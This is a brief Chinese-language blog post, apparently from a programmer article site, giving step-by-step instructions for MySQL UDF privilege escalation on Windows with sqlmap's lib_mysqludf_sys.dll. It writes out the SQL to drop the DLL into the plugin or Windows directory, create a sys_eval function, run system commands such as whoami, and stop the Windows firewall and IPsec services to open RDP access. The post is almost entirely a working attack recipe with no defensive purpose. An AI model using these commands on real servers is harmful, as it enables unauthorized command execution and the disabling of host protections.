欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

SqlMap mysql udf.dll 提权

程序员文章站 2022-07-10 15:18:02
以前分享在百度网盘,好像没人看。直接发文字说明不贴图了哦。 sqlmap lib_mysqludf_sys.zip  上传dll文件到任意目录,如:D:/RECYCLER/lib...

以前分享在百度网盘,好像没人看。直接发文字说明不贴图了哦。

sqlmap lib_mysqludf_sys.zip 

上传dll文件到任意目录,如:D:/RECYCLER/lib_mysqludf_sys.dll

导入dll,根据版本导入到windows或mysql 插件目录(一般执行select @@plugin_dir 可看到插件目录具体路径):
select load_file(‘D:/RECYCLER/lib_mysqludf_sys.dll’) into dumpfile’c:/windows/lib_mysqludf_sys.dll’ (高版本需要导入上面查询到的插件目录)

创建function:
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;

执行命令:
select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);